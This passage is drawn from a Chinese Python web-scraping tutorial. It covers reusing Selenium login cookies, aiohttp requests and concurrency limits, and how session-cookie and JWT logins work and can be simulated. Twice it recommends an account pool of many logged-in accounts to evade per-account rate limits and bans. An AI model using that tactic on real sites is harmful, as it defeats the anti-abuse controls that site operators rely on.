这时候,我们通过调用 get_cookies 方法便能获取当前浏览器所有的 Cookie,这就是模拟登录成功之后的 Cookie,用这些 Cookie 我们就能访问其他数据了。

接下来,我们声明了 requests 的 Session 对象,然后遍历了刚才的 Cookie 并将其设置到 Session 对象的 cookies 属性上,接着再拿着这个 Session 对象去请求 INDEX_URL,就也能够获取对应的信息而不会跳转到登录页面了。

运行结果如下:

1
2
3
Cookies [{'domain': 'login2.scrape.center', 'expiry': 1589043753.553155, 'httpOnly': True, 'name': 'sessionid', 'path': '/', 'sameSite': 'Lax', 'secure': False, 'value': 'rdag7ttjqhvazavpxjz31y0tmze81zur'}]
Response Status 200
Response URL https://login2.scrape.center/page/1

可以看到,这里的模拟登录和后续的爬取也成功了。所以说,如果碰到难以模拟登录的过程,我们也可以使用 Selenium 等模拟浏览器的操作方式来实现,其目的就是获取登录后的 Cookie,有了 Cookie 之后,我们再用这些 Cookie 爬取其他页面就好了。

所以这里我们也可以发现,对于基于 Session + Cookie 验证的网站,模拟登录的核心要点就是获取 Cookie。这个 Cookie 可以被保存下来或传递给其他的程序继续使用,甚至可以将 Cookie 持久化存储或传输给其他终端来使用。

另外,为了提高 Cookie 利用率或降低封号概率,可以搭建一个账号池实现 Cookie 的随机取用。

4. 总结

以上我们通过一个示例来演示了模拟登录爬取的过程,以后遇到这种情形的时候就可以用类似的思路解决了。

本节代码:https://github.com/Python3WebSpider/ScrapeLogin2。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在上一节中,我们介绍了异步爬虫的基本原理和 asyncio 的基本用法,并且在最后简单提及了使用 aiohttp 来实现网页爬取的过程。在本节中,我们来介绍一下 aiohttp 的常见用法。

1. 基本介绍

前面介绍的 asyncio 模块内部实现了对 TCP、UDP、SSL 协议的异步操作,但是对于 HTTP 请求来说,我们就需要用到 aiohttp 来实现了。

aiohttp 是一个基于 asyncio 的异步 HTTP 网络模块,它既提供了服务端,又提供了客户端。其中我们用服务端可以搭建一个支持异步处理的服务器,就是用来处理请求并返回响应的,类似于 Django、Flask、Tornado 等一些 Web 服务器。而客户端可以用来发起请求,类似于使用 requests 发起一个 HTTP 请求然后获得响应,但 requests 发起的是同步的网络请求,aiohttp 则是异步的。

本节中,我们主要了解一下 aiohttp 客户端部分的用法。

2. 基本实例

首先,我们来看一个基本的 aiohttp 请求案例,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import aiohttp
import asyncio

async def fetch(session, url):
async with session.get(url) as response:
return await response.text(), response.status

async def main():
async with aiohttp.ClientSession() as session:
html, status = await fetch(session, 'https://cuiqingcai.com')
print(f'html: {html[:100]}...')
print(f'status: {status}')

if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(main())

这里我们使用 aiohttp 来爬取我的个人博客,获得了源码和响应状态码并输出出来,运行结果如下:

1
2
3
4
5
6
html: <!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<meta name="baidu-tc-verification" content=...
status: 200

这里网页源码过长,只截取输出了一部分。可以看到,这里我们成功获取了网页的源代码及响应状态码 200,也就完成了一次基本的 HTTP 请求,即我们成功使用 aiohttp 通过异步的方式来进行了网页爬取。当然,这个操作用之前讲的 requests 也可以做到。

可以看到,其请求方法的定义和之前有了明显的区别,主要有如下几点:

  • 首先在导入库的时候,我们除了必须要引入 aiohttp 这个库之外,还必须要引入 asyncio 这个库。因为要实现异步爬取,需要启动协程,而协程则需要借助于 asyncio 里面的事件循环来执行。除了事件循环,asyncio 里面也提供了很多基础的异步操作。
  • 异步爬取方法的定义和之前有所不同,在每个异步方法前面统一要加 async 来修饰。
  • with as 语句前面同样需要加 async 来修饰。在 Python 中,with as 语句用于声明一个上下文管理器,能够帮我们自动分配和释放资源。而在异步方法中,with as 前面加上 async 代表声明一个支持异步的上下文管理器。
  • 对于一些返回 coroutine 的操作,前面需要加 await 来修饰。比如 response 调用 text 方法,查询 API 可以发现,其返回的是 coroutine 对象,那么前面就要加 await;而对于状态码来说,其返回值就是一个数值类型,那么前面就不需要加 await。所以,这里可以按照实际情况处理,参考官方文档说明,看看其对应的返回值是怎样的类型,然后决定加不加 await 就可以了。
  • 最后,定义完爬取方法之后,实际上是 main 方法调用了 fetch 方法。要运行的话,必须要启用事件循环,而事件循环就需要使用 asyncio 库,然后使用 run_until_complete 方法来运行。

注意:在 Python 3.7 及以后的版本中,我们可以使用 asyncio.run(main()) 来代替最后的启动操作,不需要显示声明事件循环,run 方法内部会自动启动一个事件循环。但这里为了兼容更多的 Python 版本,依然还是显式声明了事件循环。

3. URL 参数设置

对于 URL 参数的设置,我们可以借助于 params 参数,传入一个字典即可,示例如下:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
params = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', params=params) as response:
print(await response.text())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"args": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85eed2-d240ac90f4dddf40b4723ef0"
},
"origin": "17.20.255.122",
"url": "https://httpbin.org/get?name=germey&age=25"
}

这里可以看到,其实际请求的 URL 为 https://httpbin.org/get?name=germey&age=25,其 URL 请求参数就对应了 params 的内容。

4. 其他请求类型

另外,aiohttp 还支持其他请求类型,如 POST、PUT、DELETE 等,这和 requests 的使用方式有点类似,示例如下:

1
2
3
4
5
6
session.post('http://httpbin.org/post', data=b'data')
session.put('http://httpbin.org/put', data=b'data')
session.delete('http://httpbin.org/delete')
session.head('http://httpbin.org/get')
session.options('http://httpbin.org/get')
session.patch('http://httpbin.org/patch', data=b'data')

要使用这些方法,只需要把对应的方法和参数替换一下即可。

5. POST 请求

对于 POST 表单提交,其对应的请求头的 Content-Typeapplication/x-www-form-urlencoded,我们可以用如下方式来实现,代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', data=data) as response:
print(await response.text())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"args": {},
"data": "",
"files": {},
"form": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "18",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f0b2-9017ea603a68dc285e0552d0"
},
"json": null,
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

对于 POST JSON 数据提交,其对应的请求头的 Content-Typeapplication/json,我们只需要将 post 方法的 data 参数改成 json 即可,代码示例如下:

1
2
3
4
5
async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', json=data) as response:
print(await response.text())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"args": {},
"data": "{\"name\": \"germey\", \"age\": 25}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "29",
"Content-Type": "application/json",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f03e-c91c9a20c79b9780dbed7540"
},
"json": {
"age": 25,
"name": "germey"
},
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

可以发现,其实现也和 requests 非常像,不同的参数支持不同类型的请求内容。

6. 响应

对于响应来说,我们可以用如下方法分别获取响应的状态码、响应头、响应体、响应体二进制内容、响应体 JSON 结果,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import aiohttp
import asyncio

async def main():
data = {'name': 'germey', 'age': 25}
async with aiohttp.ClientSession() as session:
async with session.post('https://httpbin.org/post', data=data) as response:
print('status:', response.status)
print('headers:', response.headers)
print('body:', await response.text())
print('bytes:', await response.read())
print('json:', await response.json())

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
status: 200
headers: <CIMultiDictProxy('Date': 'Thu, 02 Apr 2020 14:13:05 GMT', 'Content-Type': 'application/json', 'Content-Length': '503', 'Connection': 'keep-alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Credentials': 'true')>
body: {
"args": {},
"data": "",
"files": {},
"form": {
"age": "25",
"name": "germey"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "18",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "Python/3.7 aiohttp/3.6.2",
"X-Amzn-Trace-Id": "Root=1-5e85f2f1-f55326ff5800b15886c8e029"
},
"json": null,
"origin": "17.20.255.58",
"url": "https://httpbin.org/post"
}

bytes: b'{\n "args": {}, \n "data": "", \n "files": {}, \n "form": {\n "age": "25", \n "name": "germey"\n }, \n "headers": {\n "Accept": "*/*", \n "Accept-Encoding": "gzip, deflate", \n "Content-Length": "18", \n "Content-Type": "application/x-www-form-urlencoded", \n "Host": "httpbin.org", \n "User-Agent": "Python/3.7 aiohttp/3.6.2", \n "X-Amzn-Trace-Id": "Root=1-5e85f2f1-f55326ff5800b15886c8e029"\n }, \n "json": null, \n "origin": "17.20.255.58", \n "url": "https://httpbin.org/post"\n}\n'
json: {'args': {}, 'data': '', 'files': {}, 'form': {'age': '25', 'name': 'germey'}, 'headers': {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Length': '18', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'httpbin.org', 'User-Agent': 'Python/3.7 aiohttp/3.6.2', 'X-Amzn-Trace-Id': 'Root=1-5e85f2f1-f55326ff5800b15886c8e029'}, 'json': None, 'origin': '17.20.255.58', 'url': 'https://httpbin.org/post'}

这里我们可以看到有些字段前面需要加 await,有的则不需要。其原则是,如果它返回的是一个 coroutine 对象(如 async 修饰的方法),那么前面就要加 await,具体可以看 aiohttp 的 API,其链接为:https://docs.aiohttp.org/en/stable/client_reference.html。

7. 超时设置

对于超时设置,我们可以借助 ClientTimeout 对象,比如这里要设置 1 秒的超时,可以这么实现:

1
2
3
4
5
6
7
8
9
10
11
import aiohttp
import asyncio

async def main():
timeout = aiohttp.ClientTimeout(total=1)
async with aiohttp.ClientSession(timeout=timeout) as session:
async with session.get('https://httpbin.org/get') as response:
print('status:', response.status)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果在 1 秒之内成功获取响应的话,运行结果如下:

1
200

如果超时的话,会抛出 TimeoutError 异常,其类型为 asyncio.TimeoutError,我们再进行异常捕获即可。

另外,声明 ClientTimeout 对象时还有其他参数,如 connectsocket_connect 等,详细可以参考官方文档:https://docs.aiohttp.org/en/stable/client_quickstart.html#timeouts。

8. 并发限制

由于 aiohttp 可以支持非常大的并发,比如上万、十万、百万都是能做到的,但对于这么大的并发量,目标网站很可能在短时间内无法响应,而且很可能瞬时间将目标网站爬挂掉,所以我们需要控制一下爬取的并发量。

一般情况下,我们可以借助于 asyncio 的 Semaphore 来控制并发量,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiohttp

CONCURRENCY = 5
URL = 'https://www.baidu.com'

semaphore = asyncio.Semaphore(CONCURRENCY)
session = None

async def scrape_api():
async with semaphore:
print('scraping', URL)
async with session.get(URL) as response:
await asyncio.sleep(1)
return await response.text()

async def main():
global session
session = aiohttp.ClientSession()
scrape_index_tasks = [asyncio.ensure_future(scrape_api()) for _ in range(10000)]
await asyncio.gather(*scrape_index_tasks)


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

这里我们声明了 CONCURRENCY(代表爬取的最大并发量)为 5,同时声明爬取的目标 URL 为百度。接着,我们借助于 Semaphore 创建了一个信号量对象,将其赋值为 semaphore,这样我们就可以用它来控制最大并发量了。怎么使用呢?这里我们把它直接放置在对应的爬取方法里面,使用 async with 语句将 semaphore 作为上下文对象即可。这样的话,信号量可以控制进入爬取的最大协程数量,即我们声明的 CONCURRENCY 的值。

main 方法里面,我们声明了 10000 个 task,将其传递给 gather 方法运行。倘若不加以限制,这 10000 个 task 会被同时执行,并发数量太大。但有了信号量的控制之后,同时运行的 task 的数量最大会被控制在 5 个,这样就能给 aiohttp 限制速度了。

9. 总结

本节我们了解了 aiohttp 的基本使用方法,更详细的内容还是推荐大家到官方文档查阅,详见 https://docs.aiohttp.org/。

本节代码:https://github.com/Python3WebSpider/AsyncTest。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

很多情况下,一些网站的页面或资源我们通常需要登录才能看到。比如说访问 GitHub 的个人设置页面,如果不登录是无法查看的;比如说 12306 买票提交订单的页面,如果不登录是无法提交订单的;比如说要发一条微博,如果不登录是无法发送的。

我们之前学习的案例都是爬取的无需登录即可访问的站点,但是诸如上面例子的情况非常非常多,那假如我们想要用爬虫来访问这些页面,比如用爬虫修改 GitHub 的个人设置,用爬虫提交购票订单,用爬虫发微博,能做到吗?

答案是可以,这里就需要用到一些模拟登录相关的技术了。

那么本节我们就先来了解一下模拟登录的一些基本原理和实现吧。

1. 网站登录验证的实现

我们要实现模拟登录,那就得首先了解网站登录验证的实现。

登录一般是需要两个内容,用户名和密码,有的网站可能是手机号和验证码,有的是微信扫码,有的是 OAuth 验证等等,但根本上来说,都是把一些可供认证的信息提交给了服务器。

比如这里我们就拿用户名和密码来说吧。用户在一个网页表单里面输入了这些内容,然后点击登录按钮的一瞬间,浏览器客户端就会向服务器发送一个登录请求,这个请求里面肯定就包含了用户名和密码信息,这时候,服务器需要处理一下这些信息,然后返回给客户端一个类似「凭证」的东西,有了这个「凭证」以后呢,客户端拿着这个「凭证」再去访问某些需要登录才能查看的页面,服务器自然就能”放行“了,返回对应的内容或执行对应的操作就好了。

形象点说呢,我们拿登录发微博和买票坐火车这两件事来类比。发微博就好像要坐火车,没票是没法坐火车的吧,要坐火车怎么办呢?当然是先买票了,我们拿钱去火车站买个票,有了票之后,进站口查验一下,没问题就自然能去坐火车了,这个票就是坐火车的「凭证」。那发微博也一样,我们有用户名和密码,请求下服务器,获得一个「凭证」,这就相当于买到了火车票,然后在发微博的时候拿着这个「凭证」去请求服务器,服务器校验没问题,自然就把微博发出去了。

那么问题来了,这个「凭证」到底是怎么生成和验证的呢?目前比较流行的实现方式有两种,一种是基于 Session + Cookie 的验证,一种是基于 JWT(JSON Web Token)的验证,下面我们来介绍下。

我们在第一章了解了 Session 和 Cookie 的基本概念。简而言之呢,Session 就是存在服务端的,里面保存了用户此次访问的会话信息,Cookie 则是保存在用户本地浏览器的,它会在每次用户访问网站的时候发送给服务器,Cookie 会作为 Request Headers 的一部分发送给服务器,服务器根据 Cookie 里面包含的信息判断找出其 Session 对象并做一些校验,不同的 Session 对象里面维持了不同访问用户的状态,服务器可以根据这些信息决定返回 Response 的内容。

我们以用户登录的情形来说吧,其实不同的网站对于用户的登录状态的实现是可能不同的,但是 Session 和 Cookie 一定是相互配合工作的。

下面梳理如下:

  • 比如说,Cookie 里面可能只存了 Session ID 相关信息,服务器能根据 Cookie 找到对应的 Session,用户登录之后,服务器会把对应的 Session 里面标记一个字段,代表已登录状态或者其他信息(如角色、登录时间)等等,这样用户每次访问网站的时候都带着 Cookie 来访问,服务器就能找到对应的 Session,然后看一下 Session 里面的状态是登录状态,那就可以返回对应的结果或执行某些操作。
  • 当然 Cookie 里面也可能直接存了某些凭证信息。比如说用户在发起登录请求之后,服务器校验通过,返回给客户端的 Response Headers 里面可能带有 Set-Cookie 字段,里面可能就包含了类似凭证的信息,这样客户端会执行设置 Cookie 的操作,将这些信息保存到 Cookie 里面,以后再访问网页时携带这些 Cookie 信息,服务器拿着这里面的信息校验,自然也能实现登录状态检测了。

以上两种情况几乎能涵盖大部分的 Session 和 Cookie 登录验证的实现,具体的实现逻辑因服务器而异,但 Session 和 Cookie 一定是需要相互配合才能实现的。

3. JWT

Web 开发技术是一直在发展的,近几年前后端分离的趋势越来越火,很多 Web 网站都采取了前后端分离的技术来实现。而且传统的基于 Session 和 Cookie 的校验也存在一定问题,比如服务器需要维护登录用户的 Session 信息,而且分布式部署不方便,也不太适合前后端分离的项目。

所以,JWT 技术应运而生。

JWT,英文全称为 JSON Web Token,是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准。实际上就是在每次登录的时候通过一个 Token 字符串来校验登录状态。JWT 的声明一般被用来在身份提供者和服务提供者之间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的业务逻辑所必须的声明信息,所以这个 Token 也可直接被用于认证,也可传递一些额外信息。

有了 JWT,一些认证就不需要借助于 Session 和 Cookie 了,服务器也无须维护 Session 信息,减少了服务器的开销。服务器只需要有一个校验 JWT 的功能就好了,同时也可以做到分布式部署和跨语言的支持。

JWT 通常就是一个加密的字符串,它也有自己的标准,类似下面的这种格式:

1
eyJ0eXAxIjoiMTIzNCIsImFsZzIiOiJhZG1pbiIsInR5cCI6IkpXVCIsImFsZyI6IkhTMjU2In0.eyJVc2VySWQiOjEyMywiVXNlck5hbWUiOiJhZG1pbiIsImV4cCI6MTU1MjI4Njc0Ni44Nzc0MDE4fQ.pEgdmFAy73walFonEm2zbxg46Oth3dlT02HR9iVzXa8

我们可以发现中间有两个用来分割的 . ,因此可以把它看成是一个三段式的加密字符串。

它由三部分构成,分别是 Header、Payload、Signature。

  • Header,声明了 JWT 的签名算法,如 RSA、SHA256 等,也可能包含 JWT 编号或类型等数据,然后对整个信息进行 Base64 编码即可。
  • Payload,通常用来存放一些业务需要但不敏感的信息,如 UserID 等,另外它也有很多默认是字段,如 JWT 签发者、JWT 接受者、JWT 过期时间等,Base64 编码即可。
  • Signature,就是一个签名,是把 Header、Payload 的信息用秘钥 secret 加密后形成的,这个 secret 是保存在服务器端的,不能被轻易泄露。如此一来,即使一些 Payload 的信息被篡改,服务器也能通过 Signature 判断出非法请求,拒绝服务。

这三部分通过 . 组合起来就形成了 JWT 的字符串,就是用户的访问凭证。

所以这个登录认证流程也很简单了,用户拿着用户名密码登录,然后服务器生成 JWT 字符串返回给客户端。客户端每次请求都带着这个 JWT 就行了,服务器会自动判断其有效情况,如果有效,自然就返回对应的数据。JWT 的传输就多种多样了,可以将其放在 Request Headers 中,也可以放在 URL 里,甚至也有的网站把它放在 Cookie 里面,但总而言之,能传给服务器进行校验就好了。

好,到此为止呢,我们就已经了解了网站登录验证的实现了。

4. 模拟登录

好,那了解了网站登录验证的实现后,模拟登录自然就有思路了。

下面我们同样分两种认证方式来说明。

基于 Session 和 Cookie 的模拟登录,如果我们要用爬虫实现的话,其实最主要的就是把 Cookie 的信息维护好就行了,因为爬虫就相当于客户端浏览器,我们模拟好浏览器做的事情就好了。

一般怎么实现模拟登录呢?接下来我们结合之前所讲的技术总结一下。

  • 第一,如果我们已经在浏览器中登录了自己的账号,要想用爬虫模拟,那么可以直接把 Cookie 复制过来交给爬虫。这是最省时省力的方式,相当于我们用浏览器手动操作登录了。我们把 Cookie 放到代码里,爬虫每次请求的时候再将其放到 Request Headers 中,完全模拟了浏览器的操作。之后服务器会通过 Cookie 校验登录状态,如果没问题,自然就可以执行某些操作或返回某些内容了。
  • 第二,如果我们不想有任何手工操作,那么可以直接使用爬虫模拟登录过程。其实登录的过程多数也是一个 POST 请求。我们用爬虫提交了用户名、密码等信息给服务器,服务器返回的 Response Headers 里面可能会带有 Set-Cookie 的字段,我们只需要把这些 Cookie 保存下来就行了。所以,最主要的就是把这个过程中的 Cookie 维持好。当然这里可能会遇到一些困难,比如登录过程中伴随着各种校验参数,不好直接模拟请求;网站设置 Cookie 的过程是通过 JavaScript 实现的,所以可能还得仔细分析下其中的逻辑,尤其是我们用 requests 这样的请求库进行模拟登录的时候,遇到的问题经常比较多。
  • 第三,我们也可以用一些简单的方式来实现模拟登录,即实现登录过程的自动化。比如我们用 Selenium、Pyppeteer 或 Playwright 来驱动浏览器模拟执行一些操作,如填写用户名和密码、提交表单等。登录成功后,通过 Selenium 或 Pyppeteer 获取当前浏览器的 Cookie 并保存即可。这样后续就可以拿着 Cookie 的内容发起请求,同样也能实现模拟登录。

以上介绍的就是一些常用的爬虫模拟登录的方案,其目的是维护好客户端的 Cookie 信息。总之,每次请求都携带好 Cookie 信息就能实现模拟登录了。

JWT

基于 JWT 的模拟登录思路也比较清晰了,由于 JWT 的字符串就是用户访问的凭证,所以模拟登录只需要做到下面几步。

  • 第一步,模拟网站登录操作的请求。比如拿着用户名和密码信息请求登录接口,获取服务器返回的结果,这个结果中通常包含 JWT 字符串的信息,将它保存即可。
  • 第二步,后续的请求携带 JWT 进行访问。在 JWT 不过期的情况下,通常能正常访问和执行对应的操作。携带方式多种多样,因网站而异。
  • 第三步,如果 JWT 过期了,可能需要再次进行第一步,重新获取 JWT。

当然,模拟登录的过程肯定会带有一些其他的加密参数,需要根据实际情况具体分析。

4. 账号池

如果爬虫要求爬取的数据量比较大或爬取速度比较快,而网站又有单账号并发限制或者访问状态检测等反爬虫手段,那么我们的账号可能就会无法访问或者面临封号的风险了。

这时候一般怎么办呢?

我们可以使用分流的方案来实现。假设某个网站设置一分钟之内检测到同一个账号访问 3 次或 3 次以上则封号,我们就可以建立一个账号池,用多个账号来随机访问或爬取数据,这样就能大幅提高爬虫的并发量,降低被封号的风险了。比如我们可以准备 100 个账号,然后 100 个账号都模拟登录,把对应的 Cookie 或 JWT 存下来,每次访问的时候随机取一个来,由于账号多,所以每个账号被取用的概率也就降下来了,这样就能避免单账号并发过大的问题,也降低封号风险。

5. 总结

本节我们首先了解了 Session + Cookie 和 JWT 模拟登录的原理,接着初步了解了两种模拟登录方式的实现思路,最后初步介绍了一下账号池的作用。

后文我们会通过几个实战案例来实现上述两种方案的模拟登录,为了更好地理解后文的实战内容,建议好好理解本节所介绍的内容。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们讲解了 Ajax 的分析方法,利用 Ajax 接口我们可以非常方便地完成数据爬取。只要我们能找到 Ajax 接口的规律,就可以通过某些参数构造出对应的请求,数据自然就能轻松爬取到。

但是在很多情况下,一些 Ajax 请求的接口通常会包含加密参数,如tokensign 等,如:https://spa2.scrape.center/,它的 Ajax 接口是包含一个 token 参数的,如图所示。

包含 `token` 参数的 Ajax 接口

由于请求接口时必须加上 token 参数,所以我们如果不深入分析找到 token 的构造逻辑,是难以直接模拟这些 Ajax 请求的。

此时解决方法通常有两种:一种就是深挖其中的逻辑,把其中 token 的构造逻辑完全找出来,再用 Python 复现,构